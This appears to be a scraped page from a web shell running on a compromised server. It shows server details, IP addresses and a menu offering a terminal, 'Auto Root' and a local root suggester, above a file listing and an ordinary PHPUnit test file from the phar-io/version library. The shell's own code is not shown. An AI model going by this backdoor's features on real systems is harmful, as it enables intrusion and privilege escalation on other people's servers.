Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.148.167.99
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
3 /
phar-io /
version /
tests /
Unit /
Delete
Unzip
Name
Size
Permission
Date
Action
AbstractVersionConstraintTest.php
790
B
-rw-r--r--
2018-07-08 09:00
AndVersionConstraintGroupTest.php
1.73
KB
-rw-r--r--
2018-07-08 09:00
AnyVersionConstraintTest.php
1.02
KB
-rw-r--r--
2018-07-08 09:00
ExactVersionConstraintTest.php
1.62
KB
-rw-r--r--
2018-07-08 09:00
GreaterThanOrEqualToVersionConstraintTest.php
1.67
KB
-rw-r--r--
2018-07-08 09:00
OrVersionConstraintGroupTest.php
2.23
KB
-rw-r--r--
2018-07-08 09:00
PreReleaseSuffixTest.php
1.26
KB
-rw-r--r--
2018-07-08 09:00
SpecificMajorAndMinorVersionConstraintTest.php
1.38
KB
-rw-r--r--
2018-07-08 09:00
SpecificMajorVersionConstraintTest.php
1.3
KB
-rw-r--r--
2018-07-08 09:00
VersionTest.php
3.68
KB
-rw-r--r--
2018-07-08 09:00
Save
Rename
<?php /* * This file is part of PharIo\Version. * * (c) Arne Blankerts <arne@blankerts.de>, Sebastian Heuer <sebastian@phpeople.de>, Sebastian Bergmann <sebastian@phpunit.de> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Version; use PHPUnit\Framework\TestCase; /** * @covers \PharIo\Version\AndVersionConstraintGroup */ class AndVersionConstraintGroupTest extends TestCase { public function testReturnsFalseIfOneConstraintReturnsFalse() { $firstConstraint = $this->createMock(VersionConstraint::class); $secondConstraint = $this->createMock(VersionConstraint::class); $firstConstraint->expects($this->once()) ->method('complies') ->will($this->returnValue(true)); $secondConstraint->expects($this->once()) ->method('complies') ->will($this->returnValue(false)); $group = new AndVersionConstraintGroup('foo', [$firstConstraint, $secondConstraint]); $this->assertFalse($group->complies(new Version('1.0.0'))); } public function testReturnsTrueIfAllConstraintsReturnsTrue() { $firstConstraint = $this->createMock(VersionConstraint::class); $secondConstraint = $this->createMock(VersionConstraint::class); $firstConstraint->expects($this->once()) ->method('complies') ->will($this->returnValue(true)); $secondConstraint->expects($this->once()) ->method('complies') ->will($this->returnValue(true)); $group = new AndVersionConstraintGroup('foo', [$firstConstraint, $secondConstraint]); $this->assertTrue($group->complies(new Version('1.0.0'))); } }